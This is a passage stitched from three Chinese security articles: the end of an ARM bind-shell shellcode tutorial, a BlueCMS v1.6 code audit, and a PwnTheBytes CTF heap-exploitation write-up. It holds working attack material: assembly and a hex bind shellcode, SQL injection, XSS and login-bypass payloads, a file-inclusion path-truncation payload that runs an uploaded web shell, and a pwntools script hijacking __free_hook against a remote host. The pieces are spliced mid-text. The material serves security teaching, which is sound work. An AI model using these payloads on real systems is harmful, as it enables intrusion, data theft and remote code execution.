// Create new TCP socket
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
// Initialize sockaddr struct to bind socket using it
hostaddr.sin_family = AF_INET; // server socket type address family = internet protocol address
hostaddr.sin_port = htons(4444); // server port, converted to network byte order
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, converted to network byte order
// Bind socket to IP/Port in sockaddr struct
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
// Listen for incoming connections
listen(host_sockid, 2);
// Accept incoming connection
client_sockid = accept(host_sockid, NULL, NULL);
// Duplicate file descriptors for STDIN, STDOUT and STDERR
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
// Execute /bin/sh
execve("/bin/sh", NULL, NULL);
close(host_sockid);
return 0;
}
# 第一阶段：系统调用及其参数
第一步是确定必要的系统调用，其参数和系统调用号。
看看上面的C代码，可以看到我们需要以下函数：socket，bind，listen，accept，dup2，execve。
可以使用以下命令计算出这些函数的系统调用号：
pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall (__NR_SYSCALL_BASE+102)
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_socketpair (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall
_NR_SYSCALL_BASE的值为0：
root@raspberrypi:/home/pi# grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0
这些是我们需要的所有系统调用号：
#define __NR_socket (__NR_SYSCALL_BASE+281)
#define __NR_bind (__NR_SYSCALL_BASE+282)
#define __NR_listen (__NR_SYSCALL_BASE+284)
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
每个函数所需的参数都可以在[linux手册页](http://man7.org/linux/man-pages/index.html)或[w3challs.com](https://w3challs.com/syscalls/?arch=arm_strong)上找到。
下一步是弄清楚这些参数的具体值。一种方法是使用strace查看成功的绑定shell连接。
Strace是一种可用于跟踪系统调用并监视进程与Linux内核之间交互的工具。 让我们使用strace来测试绑定shell的C版本。
为了减少干扰，我们将输出限制为需要的函数。
Terminal 1:
pi@raspberrypi:~/bindshell $ gcc bind_test.c -o bind_test
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
Terminal 2:
pi@raspberrypi:~ $ netstat -tlpn
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test
pi@raspberrypi:~ $ netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
这是我们的strace输出：
pi@raspberrypi:~/bindshell $ strace -e execve,socket,bind,listen,accept,dup2 ./bind_test
execve("./bind_test", ["./bind_test"], [/* 49 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 2) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
现在我们可以记下需要传递给arm汇编绑定shell函数的值。
# 第二阶段：逐步解释
在第一阶段，我们回答了以下问题，以获得我们的汇编程序所需的一切：
1. 我需要哪些函数？
2. 这些函数的系统调用号是什么？
3. 这些函数的参数是什么？
4. 这些参数的值是什么？
这一步是关于应用这些知识并将其转化为汇编。 将每个函数拆分为单独的块并重复以下过程：
1. 找出要用于哪个参数的寄存器
2. 弄清楚如何将所需的值传递给这些寄存器
1. 如何将立即值传递给寄存器
2. 如何在不直接将＃0移入其中的情况下使寄存器无效（我们需要在代码中避免使用空字节，因此必须找到其他方法来使寄存器或内存中的值为空）
3. 如何使寄存器指向内存中存储常量和字符串的区域
3. 使用正确的系统调用号来调用该函数并跟踪寄存器值的变化
1. 请记住，系统调用的结果将落在r0中，这意味着如果需要在另一个函数中重用该函数的结果，则需要在调用函数之前将其保存到另一个寄存器中。
2. 示例：host_sockid = socket（2,1,0） - 套接字调用的结果（host_sockid）将落在r0中。 此结果在listen（host_sockid，2）等其他函数中重用，因此应保留在另一个寄存器中。
## 0 - 切换到Thumb模式
要减少遇到空字节的可能性，首先应该使用Thumb模式。 在Arm模式下，指令为32位，在Thumb模式下为16位。
这意味着我们可以通过简单地减小指令的大小来减少使用空字节的机会。
概述如何切换到Thumb模式，即ARM指令必须是4字节对齐的。要将模式从ARM更改为Thumb，请将下一条指令地址（在PC中找到）的LSB（最低有效位）设置为1，方法是将PC寄存器的值加1并将其保存到另一个寄存器。然后使用BX（分支和交换）指令分支到另一个寄存器，该寄存器包含LSB设置为1的下一条指令的地址，这使得处理器切换到Thumb模式。
这一切都可以归结为以下两条说明。
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
从这里开始，你将编写Thumb代码，因此需要在代码中使用.THUMB指令会指明这一点。
## 1 - 创建新的套接字
这些是socket调用参数所需的值：
root@raspberrypi:/home/pi# grep -R "AF_INET\|PF_INET \|SOCK_STREAM =\|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0, // Dummy protocol for TCP
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 // IP protocol family.
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET
设置参数后，使用svc指令调用套接字系统调用。 这个调用的结果将是我们的host_sockid，并且最终将以r0结尾。
由于稍后需要host_sockid，让我们将它保存到r4。
在ARM中，你不能简单地将任何立即值移动到寄存器中。 如果你对这个细微差别的更多细节感兴趣，可以在[Memory
Instructions](https://azeria-labs.com/memory-instructions-load-and-store-part-4/)章节（后半段）中找到这一节。
为了检查是否可以使用某个立即值，我写了一个名为[rotator.py](https://raw.githubusercontent.com/azeria-labs/rotator/master/rotator.py)的小脚本（一个简单的代码，献丑了）。
pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.
pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200
pi@raspberrypi:~/bindshell $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81
最终代码段：
.THUMB
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket syscall number)
svc #1 // r0 = host_sockid value
mov r4, r0 // save host_sockid in r4
## 2 - 将套接字绑定到本地端口
使用第一条指令，我们将一个包含地址族、主机端口和主机地址的结构对象存储在文本池中，并使用pc相关寻址引用该对象。
文字池是存储常量，字符串或偏移量的同一部分中的内存区域（因为文字池是代码的一部分）。 你可以使用带标签的ADR指令，而不是手动计算pc相对偏移量。
ADR接受PC相对表达式，即带有可选偏移量的标签，其中标签的地址相对于PC标签。 像这样：
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
[...]
struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 1,1,1,1 // IP Address
接下来的5条指令是STRB（存储字节）指令。 STRB指令将一个字节从寄存器存储到计算的存储区域。
语法[r1，＃1]表示我们将R1作为基址，将立即值（＃1）作为偏移量。
在第一条指令中，我们让R1指向存储地址族AF_INET、要使用的本地端口和IP地址值的内存区域。
我们可以使用静态IP地址，也可以指定0.0.0.0以使绑定shell监听目标配置的所有IP，从而使我们的shellcode更具可移植性。
现在，剩下的是大量的空字节。
同样，我们想要摆脱所有空字节的原因是：让我们的shellcode可以利用内存损坏漏洞，而这种内存损坏漏洞是可能对空字节敏感的。'strcpy'等函数的使用不当会引起一些缓冲区的溢出。
strcpy的工作是复制数据，直到收到空字节。
我们使用溢出控制程序流，如果strcpy命中空字节，它将停止复制我们的shellcode，我们的漏洞将不起作用。使用strb指令，我们从寄存器中获取一个空字节，并在执行期间修改我们自己的代码。
这样，我们的shellcode中实际上没有空字节，而是动态地将它放在那里。 这要求代码段是可写的，并且可以通过在链接过程中添加-N标志来实现。
出于这个原因，我们的编码会动态地将空字节放在必要的地方，并且没有空字节。正如你在下一张图片中看到的那样，我们指定的IP地址是1.1.1.1，在执行期间它将被0.0.0.0替换。
第一个STRB指令用x00替换\x02\xff中的占位符xff，将AF_INET设置为\x02\x00。 我们怎么知道它是一个空字节存储？
因为r2仅包含0，而“sub r2，r2，r2”指令清除了寄存器。 接下来的4条指令用0.0.0.0替换1.1.1.1。 在strb
r2，[r1，＃1]之后，你也可以使用一个单独的str r2 [r1，＃4]来完成0.0.0.0的完整写入，而不是四个strb指令。
move指令将sockaddr_in结构长度（AF_INET为2个字节，PORT为2个字节，ipaddress为4个字节，8个字节填充=
16个字节）放入r2。 然后，我们通过简单地给它添加1来将r7设置为282，因为r7已经包含来自最后一个系统调用的281。
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
mov r2, #16
add r7, #1 // r7 = 281+1 = 282 (bind syscall number)
svc #1
nop
## 3 - 监听传入连接
在这里我们将之前保存的host_sockid放入r0。 R1设置为2，r7仅增加2，因为它仍然保存了最后一次系统调用的282。
mov r0, r4 // r0 = saved host_sockid
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1
## 4 - 接收传入连接
在这里，我们再次将保存的host_sockid放入r0。 由于要避免空字节，我们不直接将＃0移动到r1和r2中，而是通过将它们相减来设置为0。
R7只增加1。调用的结果将是client_sockid，把它保存在r4中，因为我们不再需要保存在那里的host_sockid(我们将跳过C代码中的close函数调用)。
mov r0, r4 // r0 = saved host_sockid
sub r1, r1, r1 // clear r1, r1 = 0
sub r2, r2, r2 // clear r2, r2 = 0
add r7, #1 // r7 = 285 (accept syscall number)
svc #1
mov r4, r0 // save result (client_sockid) in r4
## 5 – STDIN, STDOUT, STDERR
对于dup2函数，我们需要系统调用号63。将保存的client_sockid再次移入r0，sub指令将r1设置为0。至于剩余的两个dup2调用，只需要更改r1并将r0重置为每次系统调用后的client_sockid。
/* dup2(client_sockid, 0) */
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1, r1 // r1 = 0 (stdin)
svc #1
/* dup2(client_sockid, 1) */
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1
/* dup2(client_sockid, 2) */
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1+1 (stderr)
svc #1
## 6 - 生成Shell
// execve("/bin/sh", 0, 0)
adr r0, shellcode // r0 = location of "/bin/shX"
eor r1, r1, r1 // clear register r1. R1 = 0
eor r2, r2, r2 // clear register r2. r2 = 0
strb r2, [r0, #7] // store null-byte for AF_INET
mov r7, #11 // execve syscall number
svc #1
nop
我们在这个例子中使用的execve()函数遵循与[编写ARM Shellcode](https://azeria-labs.com/writing-arm-shellcode/)教程相同的过程，其中所有内容都是逐步解释的。
最后，将AF_INET值（带有0xff，将替换为null），端口号，IP地址和“/bin/sh”字符串添加到汇编代码末尾。
struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii "/bin/shX"
# 最终的汇编代码
这是我们的最终绑定shellcode的样子。
.section .text
.global _start
_start:
.ARM
add r3, pc, #1 // switch to thumb mode
bx r3
.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
sub r2, r2, r2 // set r2 to null
mov r7, #200 // r7 = 281 (socket)
add r7, #81 // r7 value needs to be split
svc #1 // r0 = host_sockid value
mov r4, r0 // save host_sockid in r4
// bind(r0, &sockaddr, 16)
adr r1, struct_addr // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
mov r2, #16 // struct address length
add r7, #1 // r7 = 282 (bind)
svc #1
nop
// listen(sockfd, 0)
mov r0, r4 // set r0 to saved host_sockid
mov r1, #2
add r7, #2 // r7 = 284 (listen syscall number)
svc #1
// accept(sockfd, NULL, NULL);
mov r0, r4 // set r0 to saved host_sockid
sub r1, r1, r1 // set r1 to null
sub r2, r2, r2 // set r2 to null
add r7, #1 // r7 = 284+1 = 285 (accept syscall)
svc #1 // r0 = client_sockid value
mov r4, r0 // save new client_sockid value to r4
// dup2(sockfd, 0)
mov r7, #63 // r7 = 63 (dup2 syscall number)
mov r0, r4 // r4 is the saved client_sockid
sub r1, r1, r1 // r1 = 0 (stdin)
svc #1
// dup2(sockfd, 1)
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 1 (stdout)
svc #1
// dup2(sockfd, 2)
mov r0, r4 // r4 is the saved client_sockid
add r1, #1 // r1 = 2 (stderr)
svc #1
// execve("/bin/sh", 0, 0)
adr r0, shellcode // r0 = location of "/bin/shX"
eor r1, r1, r1 // clear register r1. R1 = 0
eor r2, r2, r2 // clear register r2. r2 = 0
strb r2, [r0, #7] // store null-byte for AF_INET
mov r7, #11 // execve syscall number
svc #1
nop
struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii "/bin/shX"
# 测试SHELLCODE
将汇编代码保存到名为bind_shell.s的文件中。 使用ld时不要忘记-N标志。
这样做的原因是我们使用多个strb操作来修改我们的代码段（.text）。 这要求代码段是可写的，并且可以通过在链接过程中添加-N标志来实现。
pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
pi@raspberrypi:~/bindshell $ ./bind_shell
然后，连接到指定的端口：
pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
成功了！ 现在让我们使用以下命令将其转换为十六进制字符串：
pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin
pi@raspberrypi:~/bindshell $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
瞧，这就是绑定shellcode！ 这个shellcode长112个字节。 由于这是一个初学者教程，为了保持简单，shellcode并不是那么简短。
在初步完成shellcode之后，你可以尝试找到减少指令量的方法，从而缩短shellcode。
希望你能学到一些东西，可以运用这些知识来编写你自己的变种shellcode。 请随时与我联系以获得反馈或建议。 | 社区文章 |
# 适合萌新的代码审计——BlueCMS v1.6 sp1
##### 译文声明
本文是翻译文章
原文地址：<https://www.zkaq.org/t/3676.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
大家好，我是聂风，在此，我做一个简单的代码审计的文章来方便同学们学习。BlueCMS v1.6
sp1一直以来就是PHP代码审计入门的最佳良品。这次我们就选择这一个案例进行学习。我先声明，我的代码审计方法是针对代码基础较为薄弱较薄弱的人群进行代码审计。
## 0x01 环境搭建
Phpstudy
BlueCMS v1.6 sp1源码
代码审计工具（Seay源代码审计系统）
## 0x02 代码审计过程
拿到一个CMS，有诸多审计方法，我这里的审计方法是黑盒+白盒测试，偏黑盒较多的代码审计。拿到代码后我们应该先对其进行功能点的分析，看一看该CMS存在哪些功能，因为我们寻找漏洞，肯定是从网站中的正常功能进行测试，这是黑盒测试的一个方法，挖掘漏洞的核心我认为在于传参，知道每个传参的意义是不是就等于知道了代码会做什么，要做什么呢？
这是我总结的BlueCMS v1.6 sp1的功能点
正常而言，我们先将CMS进行一个安装，正常而言CMS的源码放入web目录下后我们会访问install目录，然后进行安装。安装完后我们是不是应该以安全工程师的身份去想一想，我们是否能够再次访问install目录，进行重新安装呢？如果能够进行重新安装，是不是就可以将整个网站的数据全部重装，然后拿到设置新的管理员账号，然后通过后台拿到webshell?
然后我们去访问该页面，正常，可以重装
于是我们审计出了代码的第一个问题，可以重复安装呢！是不是很简单？
然后我们再来看这个网站，一般而言网站有展示类和功能类。
展示类（比如新闻站、门户站）
功能类（比如商城、OA、系统）
但是无论是展示类还是功能如果我们可以拿到一个普通用户的权限是不是更加容易渗透测试？测试的点是不是更多？
那么我们去注册一个账户吧！
注册一个账号，我们想一想，是不是可以尝试进行一个XSS，我们先注册一个账号，然后抓包看看，然后我们输入了用户名后，我们发现burp抓了一个包
很明显这个数据包是用来检测你的用户名是否有人注册过，那么我们是不是可以通过爆破user_name传参进行爆破出用户名。（爆破出用户名后爆破密码更容易）
然后填完所有内容，提交，然后抓到了数据包，我们发现是被提交到user.php
然后我们通过代码审计工具去找那个文件
在传参中我们看到了我自己输入的账号|密码|邮箱|验证码，然后最后出现了一个act传参，打开这个user.php我们可以看出这个文件有好几个功能，act就是决定我的数据包是干什么的传参，于是乎复制这个传参值去源码中寻找这个传参
这段源码就是关于你的注册，我们可以看到INSERT INTO 插入，然后我们看是否存在过滤，很明显这里没有过滤，那么我们尝试进行XSS以及SQL注入。
我们就先看XSS。
先抓包，正常的填写注册，然后将数据包拦截（这是为了防止前端检测）
修改数据包，加入XSS语句，我是在邮件的地方加的。
成功弹窗
事实证明这里存在一个存储型XSS，然后我们再去看看SQL注入
这很明显是他的SQL语句，然后我们尝试使用updatexml的报错
构建下语句。
‘ or updatexml(1,concat(0x7e,(SELECT database())),1),1,1)#
然后执行，居然成功执行了。没有过滤？居然能成功执行，说明单引号没有起作用，是不是存在魔术引号？试试宽字节！
%df’ or updatexml(1,concat(0x7e,(SELECT database())),1),1,1)#
然后成功报错
很明显这里存在SQL注入，但是这里神奇的很，我这里报错说语法错误，我直接去本地执行却没问题！源码中对报错做了限制。只能通过盲注来解决，难受！
我们仔细思考，这里是一个插入语句，那么我们是不是可以尝试插入多行数据，我们通过语句构建，再建立一个用户，然后用子查询填充邮箱处，然后我们登陆这个账号是不是就可以看到邮箱字段里面的内容，走，说干就干！！
构建语句：
%df’,1,1),(100,0×6162717765,md5(123456),(select database()),1,1)#
闭合原本的语句，然后再插入一条数据，然后执行，成功执行了！！
数据被插入了，走，登陆账号
很明显，库名在邮箱处显示了，与似乎我们可以通过这样的方法利用这个点！！
我们结束了注册功能在看看登录功能，登录处会不会存在SQL注入？
老样子，登录，然后抓包看传参到那个文件
还是那个文件，就是act变为了index_login
登录还定义了函数，右键函数追踪一下
还是老样子，没有任何过滤，那么试试万能密码吧
payload：%df’) or 1=1#
万能密码成功登录
万能密码就是存在POST类型的SQL注入，可以尝试使用SQLMAP
我是跑数据包，在pwd字段
然后登录后修改资料处也存在SQL注入和XSS
然后我们看到了别人的文章，我们看到我们可以评论
然后果断评论,我尝试了不登录也是可以评论，然后我们抓包看看吧！
去看看这个文件
这里似乎有一个过滤
Htmlspecialchars会将尖括号转化为HTML实体，那么不能出现尖括号
然后呢这里我们来玩一个骚套路
我们看到传参里面有ip对吗？
留言记录IP这个是留言系统中经常存在的套路。那我们看到了他实际上插入了ip的值是特意拼接是，是由这个自定义函数设定getip()
走，我们去找找这个函数的定义
找到了定义的函数，这里有一个getenv，实际上就是获取系统的环境变量
第一个HTTP_CLIENT_IP这个环境变量没有成标准，很多服务器完全没法获取
第二个X-Forwarded-For 这个东西可以通过HTTP请求头来修改。
那么问题来了!
我们似乎可以控制请求头中的X-Forwarded-For控制ip的传参，ip的传参会直接被拼凑到SQL语句，走！我们SQL注入去（类似的问题挺多的，黑盒白盒我都遇到过）
设置X-Forwarded-For为1’#
然后直接报错了
因为这个不是输入，连宽字节都省了，如果这里没有宽字节注入就可以这样来注入.
里面还有些SQL注入和XSS的漏洞我就不一一列举了。
我们看一点不一样的
在后台我看到了可以备份数据库
发现他是按照日期生成备份文件，我们尝试爆破地址
然后成功访问，里面有管理员账号密码（密码就是MD5，解密下就行）
我们再来讲一个更有深度的漏洞—文件包含
还记得前面看了好几次的user.php吗?
通过全局寻找include,我发现里面有一些有趣的东西
我们可以通过传参pay来控制包含的文件。
我们先尝试正常操作让act传参pay
然后我发现这个传参是在充值中心的购买充值卡的地方的选择支付方式
然后我们先在网站根目录留一个1.txt，内容写
<?php phpinfo();?>
然后尝试拼接
通过../跳转到上层目录,但是我们发现这个语句后面有一个index.php的拼接。那该怎么办妮？在这里我们可以尝试一个字符串截断的方法（Windows的路径不能超过256个字符）
那么我们是不是可以尝试在传参的后面加点进行阶段，因为点最后会被windows给处理掉，但是填充了点之后，只会保留包含前面的1.txt，在传参后的index.php因为路径超过256个字符后的东西都会被舍弃，于是乎我们直接传参后加256个点就可以截断了
Payload:
pay=../../1.txt………………………………………………………………………………………………………………………………………………………………………………………………………………………………….
那么我们该如何利用，看看有没有地方可以上传，找到头像上传，然后上传图片马
然后包含这个文件就行
## 总结：
其实该CMS所存在的漏洞不仅仅只有这些，我文章中的这些也只是一个抛砖引玉，只是说出一个更适合代码基础薄弱的同学进行代码审计的方法，如果我文章中有什么写的可以再改进的地方，可以随时联系我！谢谢大家花费了时间来读在下的粗鄙小文，谢谢大家 | 社区文章 |
欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ== 。
还是很不错的国际赛。
源程序打包：<https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnthebytesctf2019/pwn> 。
## babyfactory
靶机环境是 glibc-2.23 。签到题。
void __fastcall Create(char a1)
{
...
printf("Enter Day: ", v1);
_isoc99_scanf("%d", &temp_ptr->day);
if ( SLOWORD(temp_ptr->day) > 31 || !LOWORD(temp_ptr->day) )
LOWORD(temp_ptr->day) = 1;
if ( a1 )
BYTE2(temp_ptr->day) = 1;
...
}
直接输入一个很大的数字进行byte2字节编辑，即可在下面的函数`heap overflow`。
void __cdecl Edit()
{
int v0; // [rsp+Ch] [rbp-14h]
Container *temp_ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter Baby IDX: ");
_isoc99_scanf("%u", &v0);
if ( global_ptr[v0] )
{
temp_ptr = global_ptr[v0];
printf("Enter new name: ", &v0);
if ( BYTE2(temp_ptr->day) )
read(0, (void *)temp_ptr->malloc_ptr, 0x69uLL);
else
read(0, (void *)temp_ptr->malloc_ptr, 0x68uLL);
puts("Done!");
}
else
{
puts("No such baby!");
}
}
直接根据堆风水进行地址泄露，劫持hook即可，脚本如下。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './baby_factory'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('137.117.216.128', 13373)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0xF4F)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
BOY = 0
GIRL = 1
def Create(type, content):
sh.sendlineafter('> ', '1')
sh.sendlineafter('> ', str(type + 1))
sh.sendafter('Name: ', content)
sh.sendlineafter('Day: ', str(0xffffff))
def Edit(index, content):
sh.sendlineafter('> ', '2')
sh.sendlineafter('IDX: ', str(index))
sh.sendafter('name: ', content)
def List():
sh.sendlineafter('> ', '3')
def Eliminate(index):
sh.sendlineafter('> ', '4')
sh.sendlineafter('IDX: ', str(index))
Create(BOY, '\n')
Create(BOY, '\n')
Create(BOY, '\n')
Edit(0, 'a' * 0x68 + p8(0x91))
Eliminate(0)
Eliminate(1)
Create(GIRL, '\xf8')
List()
sh.recvuntil('GIRL= ')
result = sh.recvuntil('Date', drop=True)
libc_addr = u64(result.ljust(8, '\0')) - 0x3c4bf8
log.success('libc_addr: ' + hex(libc_addr))
Create(BOY, 'b' * 0x60)
Create(GIRL, (p64(0) + p64(0x21)) * 6)
Edit(2, 'd' * 0x68 + p8(0xa1))
# pause()
Eliminate(1)
Create(GIRL, p64(libc_addr + libc.symbols['__free_hook']) + p64(0))
Edit(3, p64(libc_addr + libc.symbols['system']))
Edit(1, p64(libc_addr + libc.search('/bin/sh\0').next()))
Eliminate(3)
sh.interactive()
clear()
由于造成该漏洞的主要原因是，下面代码没有进行置0操作。加上置0操作即可。
if ( a1 )
BYTE2(temp_ptr->day) = 1;
还有一个漏洞需要修复：
`Edit`没有对index进行检查，加上检查即可。
void __cdecl Edit()
{
int v0; // [rsp+Ch] [rbp-14h]
Container *temp_ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter Baby IDX: ");
_isoc99_scanf("%u", &v0);
if ( global_ptr[v0] )
{
temp_ptr = global_ptr[v0];
printf("Enter new name: ", &v0);
if ( BYTE2(temp_ptr->day) )
read(0, (void *)temp_ptr->malloc_ptr, 0x69uLL);
else
read(0, (void *)temp_ptr->malloc_ptr, 0x68uLL);
puts("Done!");
}
else
{
puts("No such baby!");
}
}
## Ace of Spades
靶机环境是 glibc-2.23 。
一个模拟扑克牌的游戏。
### 漏洞点
主要在于程序员对库函数`strcpy`的错误使用。
void __cdecl Discard()
{
if ( amount_in_your_hand )
{
abandoned[abandoned_amount++] = card_in_your_hand[0];
strcpy(card_in_your_hand, &card_in_your_hand[1]);
--amount_in_your_hand;
}
}
可能设计的时候仅仅是为了让字符串向前移动一个字节，这里完全可以自己实现，但是这里却使用的是`strcpy`，对于`strcpy`函数来说，如果两个参数地址有重叠的部分，难免会出一些问题。
### strcpy 分析
通过查看汇编可知，strcpy并不是单纯的逐个字节转移，这样太浪费CPU资源，而是利用SEX2指令进行整块转移，开始先进行地址对齐，为了避免需要取两次内存的情况而浪费IO资源，而且字符串越长，每个单位块的就越大，当然这是建立在浪费内存空间的基础上的，也就是需要大量的汇编代码实现，但是其效率是无可比拟的。
如果原地址和目标地址没有重叠的话并不会产生问题，但是这里恰好相反。
利用下面的程序来检验是否存在问题：
// gcc -m32 main.c
#include <stdio.h>
#include <string.h>
int main()
{
unsigned char buf[0x100];
int i, j;
for(i = 2; i < 52; i++)
{
memset(buf, 0, 0x100);
memset(buf + 0x40, 'a', 0x40);
for(j = 0; j < i ;j ++)
{
buf[j] = 10 + j;
}
strcpy(buf, buf + 1);
for(j = 0; j < i ; j++)
{
printf("%03d ",buf[j]);
}
puts("");
}
return 0;
}
通过分析上面的结果，最终得到下面的payload：
// gcc -m32 main.c
#include <stdio.h>
#include <string.h>
int main()
{
unsigned char buf[0x100] = "0123456789ABCD";
strcpy(buf, buf + 1);
puts(buf);
return 0;
}
预期结果是`123456789ABCD`，得到的结果是`123456889ABCD`。
**原理分析：**
主要问题汇编如下：
__strcpy_sse2 proc near
...
cmp byte ptr [ecx+13], 0
jz loc_865F0
...
cmp byte ptr [ecx+14], 0
jz loc_86610
...
loc_865F0:
movlpd xmm0, qword ptr [ecx]
movlpd qword ptr [edx], xmm0
movlpd xmm0, qword ptr [ecx+6]
movlpd qword ptr [edx+6], xmm0
mov eax, edx
retn
